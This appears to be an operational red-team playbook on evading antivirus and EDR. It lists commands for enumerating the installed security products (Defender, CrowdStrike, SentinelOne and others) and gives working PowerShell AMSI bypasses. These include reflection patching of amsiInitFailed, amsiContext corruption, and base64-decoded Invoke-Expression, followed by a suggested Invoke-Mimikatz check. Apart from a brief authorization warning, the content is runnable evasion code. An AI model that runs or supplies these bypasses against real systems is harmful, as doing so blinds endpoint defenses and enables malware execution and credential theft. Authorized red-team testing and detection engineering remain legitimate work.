av-edr-evasion-techniques

AV/EDR Evasion Techniques

When to Use

• When AV/EDR blocks your payloads during red team operations
• When you need to execute tools on endpoints with active security monitoring
• When testing an organization's endpoint detection capabilities
• When developing custom loaders for C2 implants

⚠️ WARNING: Only use on authorized engagements. EDR evasion without authorization is illegal.

Prerequisites

• Active engagement with a defended target environment (EDR/AV present)
• Understanding of the target's security stack (Defender, CrowdStrike, Carbon Black, etc.)
• Payload development framework (msfvenom, Cobalt Strike, custom tooling)
• Test environment matching the target OS/EDR for pre-engagement validation

Workflow

Phase 1: Target EDR Identification

# Identify installed security products
Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct | Select displayName
wmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName

# Process-based detection
tasklist | findstr -i "MsMpEng CrowdStrike CSFalcon SentinelOne cylance cbdefense xagt"

# Modern EDR enumeration:
# CrowdStrike Falcon → CSFalconService, CSFalconContainer
# SentinelOne → SentinelAgent, SentinelStaticEngine
# Microsoft Defender for Endpoint → MsSense
# Carbon Black → CbDefense, RepMgr
# Cortex XDR → CryptSvc associated with Palo Alto
# Elastic EDR → elastic-agent, elastic-endpoint

# Check if Windows Defender is enabled
Get-MpComputerStatus | Select AntivirusEnabled, RealTimeProtectionEnabled

Phase 2: AMSI Bypass (PowerShell Context)

# AMSI (Antimalware Scan Interface) scans PowerShell, VBA, JScript, etc.

# Method 1: Memory patching (patch AmsiScanBuffer)
$a=[Ref].Assembly.GetType('System.Management.Automation.Am'+'siUtils')
$b=$a.GetField('am'+'siInitFailed','NonPublic,Static')
$b.SetValue($null,$true)

# Method 2: Context corruption
$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076)
[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiContext","NonPublic,Static").SetValue($null,[IntPtr]$mem)

# Method 3: String obfuscation of bypass
# Encode and decode at runtime to avoid static detection
$e = [System.Convert]::FromBase64String("BASE64_ENCODED_BYPASS")
$decoded = [System.Text.Encoding]::UTF8.GetString($e)
Invoke-Expression $decoded

# Method 4: Reflection-based (current at time of writing)
# These change frequently — always test before engagement

# Verify AMSI is bypassed:
# Try: Invoke-Mimikatz (should not trigger AMSI if bypassed)